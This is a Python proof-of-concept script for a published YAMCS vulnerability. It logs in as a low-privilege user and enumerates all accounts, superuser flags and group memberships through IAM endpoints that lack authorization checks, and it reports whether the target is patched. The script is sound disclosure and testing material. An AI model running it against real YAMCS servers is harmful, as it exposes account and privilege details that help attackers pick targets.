#!/usr/bin/env python3 """ CVE-2026-44595 — YAMCS Unauthorized User Enumeration via IAM API ================================================================= Vulnerability: IAM API endpoints (listUsers, getUser, listGroups, getGroup) do not enforce SystemPrivilege.ControlAccess. Any authenticated user can enumerate all accounts. Impact: Information disclosure — usernames, superuser status, group memberships exposed to low-privilege users. Affected: yamcs-core < 5.12.7 Fixed in: yamcs-core 5.12.7 CWE: CWE-862 (Missing Authorization) CVSS: 4.3 MEDIUM Advisory: https://github.com/yamcs/yamcs/security/advisories/GHSA-p2rj-mrmc-9w29 Author: Daniel Miranda Barcelona (Excal1bur) https://github.com/ex-cal1bur ================================================================= """ import requests import sys import json def check_user_enumeration(target, username, password): base = target.rstrip("/") session = requests.Session() print("=" * 65) print(" CVE-2026-44595 — YAMCS IAM User Enumeration PoC") print(f" Target: {target}") print(f" Username: {username}") print("=" * 65) # Step 1: Authenticate as low-privilege user print(f"\n[1] Authenticating as low-privilege user '{username}'...") try: resp = session.post(f"{base}/auth/token", data={ "grant_type": "password", "username": username, "password": password }) if resp.status_code != 200: print(f" [-] Auth failed: HTTP {resp.status_code}") print(f" [*] Start YAMCS and create a test user first") print(f" [*] Or use: yamcsadmin users create testuser --password test") return token = resp.json().get("access_token") print(f" [+] Authenticated. Token: {token[:30]}...") headers = {"Authorization": f"Bearer {token}"} except Exception as e: print(f" [-] Connection error: {e}") return # Step 2: List all users (should require ControlAccess privilege) print(f"\n[2] Listing ALL users (IAM endpoint)...") resp = session.get(f"{base}/api/iam/users", headers=headers) print(f" Status: HTTP {resp.status_code}") if resp.status_code == 200: users = resp.json().get("users", []) print(f"\n [!!!] VULNERABLE: {len(users)} users enumerated") print(f" [!!!] Low-privilege user can see ALL accounts:\n") for u in users: superuser = "SUPERUSER" if u.get("superuser") else "regular" print(f" -> {u.get('name', '?')} [{superuser}]") if u.get("identities"): for identity in u["identities"]: print(f" provider: {identity.get('provider', '?')}") elif resp.status_code == 403: print(f" [+] HTTP 403 — access denied (PATCHED)") else: print(f" [?] Unexpected response: {resp.text[:200]}") # Step 3: List all groups print(f"\n[3] Listing ALL groups (IAM endpoint)...") resp = session.get(f"{base}/api/iam/groups", headers=headers) print(f" Status: HTTP {resp.status_code}") if resp.status_code == 200: groups = resp.json().get("groups", []) print(f"\n [!!!] VULNERABLE: {len(groups)} groups enumerated") for g in groups: members = len(g.get("members", [])) print(f" -> {g.get('name', '?')} ({members} members)") elif resp.status_code == 403: print(f" [+] HTTP 403 — access denied (PATCHED)") print("\n" + "=" * 65) print(" Fix: Upgrade to yamcs-core >= 5.12.7") print("=" * 65) if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8090" username = sys.argv[2] if len(sys.argv) > 2 else "testuser" password = sys.argv[3] if len(sys.argv) > 3 else "test" check_user_enumeration(target, username, password)